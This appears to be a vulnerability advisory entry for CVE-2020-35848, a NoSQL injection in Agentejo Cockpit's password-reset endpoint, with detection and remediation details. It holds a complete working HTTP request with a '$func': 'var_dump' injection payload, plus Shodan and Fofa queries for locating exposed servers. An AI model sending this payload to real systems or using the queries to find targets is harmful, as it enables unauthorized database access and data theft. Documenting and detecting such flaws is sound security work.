| Title | Agentejo Cockpit <0.12.0 - NoSQL Injection |
|---|---|
| Author | dwisiswant0 |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to manipulate database queries, potentially leading to unauthorized access, data leakage, or data corruption. |
| Remediation | Upgrade Agentejo Cockpit to version 0.12.0 or later to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.92681 |
| CVE ID | CVE-2020-35848 |
| CWE ID | CWE-89 |
| Shodan Query | http.favicon.hash:688609340http.html:"cockpit" |
| Fofa Query | icon_hash=688609340body="cockpit" |
| Tags | cve cve2020 nosqli sqli cockpit injection agentejo vuln |
Agentejo Cockpit prior to 0.12.0 is vulnerable to NoSQL Injection via the newpassword method of the Auth controller, which is responsible for displaying the user password reset form.
POST /auth/newpassword HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Connection: close
Content-Length: 50
Accept: */*
Accept-Language: en
Content-Type: application/json
Accept-Encoding: gzip
{
"token": {
"$func": "var_dump"
}
}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-35848.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-35848.pcap
N/AN/A